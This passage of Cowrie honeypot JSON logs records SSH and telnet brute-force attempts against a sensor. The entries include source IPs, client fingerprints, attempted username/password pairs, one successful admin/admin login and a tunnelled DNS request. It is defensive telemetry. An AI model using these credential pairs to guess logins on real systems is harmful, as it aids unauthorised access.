16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:08:44.726653Z","src_ip":"87.251.79.125","session":"82f9cbdab930","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0018904209137,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:08:44.917891Z","src_ip":"170.64.224.25","session":"965206db18e1","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"25021977","message":"login attempt [root/25021977] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:08:44.940563Z","src_ip":"87.251.79.125","session":"82f9cbdab930","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":47018,"dst_ip":"159.203.135.109","dst_port":23,"session":"82cb42c7e5a9","protocol":"telnet","message":"New connection: 170.64.224.25:47018 (159.203.135.109:23) [session: 82cb42c7e5a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:08:45.293347Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:08:46.012451Z","src_ip":"87.251.79.125","session":"82f9cbdab930","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.22.184.88","src_port":50196,"dst_ip":"10.17.0.5","dst_port":22,"session":"6dabf7255326","protocol":"ssh","message":"New connection: 165.22.184.88:50196 (10.17.0.5:22) [session: 6dabf7255326]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:08:46.315686Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:08:46.321963Z","src_ip":"165.22.184.88","session":"6dabf7255326","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:08:46.326291Z","src_ip":"165.22.184.88","session":"6dabf7255326","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"letmein!@","message":"login attempt [root/letmein!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:08:46.341327Z","src_ip":"165.22.184.88","session":"6dabf7255326","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:08:47.348033Z","src_ip":"165.22.184.88","session":"6dabf7255326","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":53856,"dst_ip":"159.203.135.109","dst_port":23,"session":"0dfbb08ace50","protocol":"telnet","message":"New connection: 128.199.8.54:53856 (159.203.135.109:23) [session: 0dfbb08ace50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:08:51.557636Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":38036,"dst_ip":"159.203.135.109","dst_port":23,"session":"aa1ccb31f399","protocol":"telnet","message":"New connection: 170.64.224.25:38036 (159.203.135.109:23) [session: aa1ccb31f399]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:08:56.011596Z"}
{"eventid":"cowrie.session.connect","src_ip":"95.130.227.33","src_port":44232,"dst_ip":"10.17.0.5","dst_port":22,"session":"b22e4729e9a1","protocol":"ssh","message":"New connection: 95.130.227.33:44232 (10.17.0.5:22) [session: b22e4729e9a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:09:12.668520Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:09:12.672967Z","src_ip":"95.130.227.33","session":"b22e4729e9a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:09:12.840461Z","src_ip":"95.130.227.33","session":"b22e4729e9a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd098","message":"login attempt [root/abcd098] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:09:13.532130Z","src_ip":"95.130.227.33","session":"b22e4729e9a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:09:14.704073Z","src_ip":"95.130.227.33","session":"b22e4729e9a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.53.159.196","src_port":11914,"dst_ip":"159.203.135.109","dst_port":22,"session":"58551ddc1ea1","protocol":"ssh","message":"New connection: 176.53.159.196:11914 (159.203.135.109:22) [session: 58551ddc1ea1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:09:20.222437Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:09:20.226256Z","src_ip":"176.53.159.196","session":"58551ddc1ea1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:09:20.326950Z","src_ip":"176.53.159.196","session":"58551ddc1ea1","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:09:20.630272Z","src_ip":"176.53.159.196","session":"58551ddc1ea1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"176.53.159.196","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:09:20.733617Z","session":"58551ddc1ea1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:09:20.836498Z","src_ip":"176.53.159.196","session":"58551ddc1ea1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:09:20.939887Z","src_ip":"176.53.159.196","session":"58551ddc1ea1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":43178,"dst_ip":"159.203.135.109","dst_port":23,"session":"319e3db29a5a","protocol":"telnet","message":"New connection: 170.64.224.25:43178 (159.203.135.109:23) [session: 319e3db29a5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:09:26.488470Z"}
{"eventid":"cowrie.session.closed","duration":50.89470958709717,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:09:42.452241Z","src_ip":"128.199.8.54","session":"0dfbb08ace50","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:09:49.963029Z","src_ip":"101.126.22.12","session":"9dcf57d85db1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":56.31048798561096,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:09:52.321973Z","src_ip":"170.64.224.25","session":"aa1ccb31f399","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":67.48425436019897,"message":"Connection lost after 67 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:09:52.777490Z","src_ip":"170.64.224.25","session":"82cb42c7e5a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"191.7.26.153","src_port":33260,"dst_ip":"159.203.135.109","dst_port":22,"session":"a15def89b713","protocol":"ssh","message":"New connection: 191.7.26.153:33260 (159.203.135.109:22) [session: a15def89b713]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:09:54.365024Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:09:54.369042Z","src_ip":"191.7.26.153","session":"a15def89b713","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:09:54.486698Z","src_ip":"191.7.26.153","session":"a15def89b713","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"promo","password":"promo","message":"login attempt [promo/promo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:09:55.034097Z","src_ip":"191.7.26.153","session":"a15def89b713","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:09:56.151695Z","src_ip":"191.7.26.153","session":"a15def89b713","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.177.83","src_port":44844,"dst_ip":"10.17.0.5","dst_port":22,"session":"cdcc08a2dd75","protocol":"ssh","message":"New connection: 104.248.177.83:44844 (10.17.0.5:22) [session: cdcc08a2dd75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:10:02.485327Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:10:02.489523Z","src_ip":"104.248.177.83","session":"cdcc08a2dd75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:10:02.577425Z","src_ip":"104.248.177.83","session":"cdcc08a2dd75","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f2:dd:d4:57:d3:00:34:37:72:5e:97:e9:1c:2e:7d:36","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCcJgdOAl6DBADRAZGHzxSCvbI5BfOsTpZXtpirtOHR9aZsyifdbqGv7toR81M0i2hHt6eLOKv0/vspRWxP7sxs9JIMRCfL98bPwHrNJPLCr5IHa/XSVhi7DStAaKejYZy19kZVhT707CIBqtbi89TNaxBkitGWCwtakBNxhYU+07lV1ZBCSdW2iqiGia8j30c0JJgg70Dggjli9QcDiT0vRT5BbWO6BkiVX7/u2Aauvi5WYIL0PWa9tFL+vAEUXKOESPPxdG7uvwWbiyyncWKDujTVqS7RB8TFBuxM5jrCOBjEbkupL19BSP2iRi5oYTGDk7JoXq6SgKq8Yf5fceV6DaW6iKZD943en9XHl65R8BeuBwq0jQIT0+8R2GjIebGOh+MAVFf/Y8melHnWT2fS7ruJY5yAILrUa9uk+kYlypkXQSGsMNG9kMCcSWejBSdHo4XGU8m+2FwKnie1mwHPlWaGgumBFvCoUf9/sQX/Wu+sf7aYaNgmywWDz+835Qoac01/dCKxwAVngLTZFozj0eAHaJu3ZlcAYLO58iLAU+wEHEHJ/Q/P8tbwZKiMRgM9cirTeHwr0foK62+KeZ0pxZerFkvzN2WwPCxbTVi4v4hl81HXYMjQeiUUCIag1G8RnH7+r3HD5VJJr3Ro96/TCVxlBFqMln9jSYHRf9fArw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f2:dd:d4:57:d3:00:34:37:72:5e:97:e9:1c:2e:7d:36","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:10:02.946042Z","src_ip":"104.248.177.83","session":"cdcc08a2dd75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f2:dd:d4:57:d3:00:34:37:72:5e:97:e9:1c:2e:7d:36","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCcJgdOAl6DBADRAZGHzxSCvbI5BfOsTpZXtpirtOHR9aZsyifdbqGv7toR81M0i2hHt6eLOKv0/vspRWxP7sxs9JIMRCfL98bPwHrNJPLCr5IHa/XSVhi7DStAaKejYZy19kZVhT707CIBqtbi89TNaxBkitGWCwtakBNxhYU+07lV1ZBCSdW2iqiGia8j30c0JJgg70Dggjli9QcDiT0vRT5BbWO6BkiVX7/u2Aauvi5WYIL0PWa9tFL+vAEUXKOESPPxdG7uvwWbiyyncWKDujTVqS7RB8TFBuxM5jrCOBjEbkupL19BSP2iRi5oYTGDk7JoXq6SgKq8Yf5fceV6DaW6iKZD943en9XHl65R8BeuBwq0jQIT0+8R2GjIebGOh+MAVFf/Y8melHnWT2fS7ruJY5yAILrUa9uk+kYlypkXQSGsMNG9kMCcSWejBSdHo4XGU8m+2FwKnie1mwHPlWaGgumBFvCoUf9/sQX/Wu+sf7aYaNgmywWDz+835Qoac01/dCKxwAVngLTZFozj0eAHaJu3ZlcAYLO58iLAU+wEHEHJ/Q/P8tbwZKiMRgM9cirTeHwr0foK62+KeZ0pxZerFkvzN2WwPCxbTVi4v4hl81HXYMjQeiUUCIag1G8RnH7+r3HD5VJJr3Ro96/TCVxlBFqMln9jSYHRf9fArw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:10:02.949304Z","src_ip":"104.248.177.83","session":"cdcc08a2dd75","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9e:cc:9e:a4:cb:c2:fc:67:3e:e2:74:d0:63:66:2f:d7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDScXZbPlgCjCd0z04cHGvkPHmWaLSlOsL0nF6i29Jmhg4jm7RaTyUe8kL+PLg1rw9GtBSl6gvLbU8r3+Rq6WJJqgfdXO+2w7x7yBNhx4t86kwXCd376Jx1d84Z7phLMRm3KDXIs12s6392XAea9gnar9pVjYeT3kKF2/4FTx5HvMqkDu02uknni8t8uqNq88Juow5I2WP8+bHaFQA4ApgFI8YrvX17pgpY6KhKnQaNFl+xjHU0DZVNtg8ohY/1dZ9ZpNasRZe5LhusXMhfjzZIogpnkg6DSAdE90BMLONd9N9xIx0zwzyJKsEeRChqeeEdi3t5L5RYIt5w+tcRcZ0R","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9e:cc:9e:a4:cb:c2:fc:67:3e:e2:74:d0:63:66:2f:d7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:10:03.022710Z","src_ip":"104.248.177.83","session":"cdcc08a2dd75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9e:cc:9e:a4:cb:c2:fc:67:3e:e2:74:d0:63:66:2f:d7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDScXZbPlgCjCd0z04cHGvkPHmWaLSlOsL0nF6i29Jmhg4jm7RaTyUe8kL+PLg1rw9GtBSl6gvLbU8r3+Rq6WJJqgfdXO+2w7x7yBNhx4t86kwXCd376Jx1d84Z7phLMRm3KDXIs12s6392XAea9gnar9pVjYeT3kKF2/4FTx5HvMqkDu02uknni8t8uqNq88Juow5I2WP8+bHaFQA4ApgFI8YrvX17pgpY6KhKnQaNFl+xjHU0DZVNtg8ohY/1dZ9ZpNasRZe5LhusXMhfjzZIogpnkg6DSAdE90BMLONd9N9xIx0zwzyJKsEeRChqeeEdi3t5L5RYIt5w+tcRcZ0R","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:10:03.025996Z","src_ip":"104.248.177.83","session":"cdcc08a2dd75","protocol":"ssh"}
